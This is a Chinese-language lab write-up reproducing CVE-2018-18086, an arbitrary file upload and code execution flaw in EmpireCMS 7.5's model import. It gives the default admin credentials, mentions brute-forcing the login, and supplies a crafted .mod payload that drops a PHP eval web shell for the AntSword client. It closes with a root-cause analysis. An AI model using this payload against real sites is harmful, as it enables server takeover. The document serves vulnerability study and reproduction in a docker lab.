一、简述👋
-
漏洞描述 EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS ),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行 ,EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数 存在安全漏洞,攻击者可利用该漏洞上传任意文件,该漏洞编号为CVE-2018-18086 -
影响版本 EmpireCMS<=7.5 -
官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/
二、安装环境👋
- docker拉取镜像
empirecms-cve_2018_18086
三、漏洞复现👋
1、直接在empirecms/e/admin 下打开管理后台
2、在爆破或账号密码进入后台后(默认账号密码为admin/123456)
3、依次点开系统,打开管理数据表,选择导入系统模型
新建shell.php.mod文件并上传,文件内容如下:
file_put_contents("1shell.php",<?php phpinfo();?>);
4、在导入文件后
生成的1shell.php 文件在/admin目录 下,即可访问empirecms/e/admin/shell.php
5、同时,如果为了连接蚁剑等,注意$符号 需要转义
<?php
file_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");
?>
四、原理分析👋
1、下载安装文件分析,在/e/admin/ecmsmod.php 文件下的导入模型
2、而进入到LoadlnMod函数,来到/e/class/moddofun.php
- 标注第一点,判断上传文件类型,文件后缀只能是
.mod - 标注第二点,上传文件处使用time().make_password(10)进行文件名加密,同时拼接
.php 作为文件名 - 标注第三点,用
include 进行一次包含,执行上传的PHP代码,即可以通过创建文件的代码绕过
3、因为一开始的导入模型文件是在/e/admin 目录下,所以创建的shell.php 在/admin 目录下
|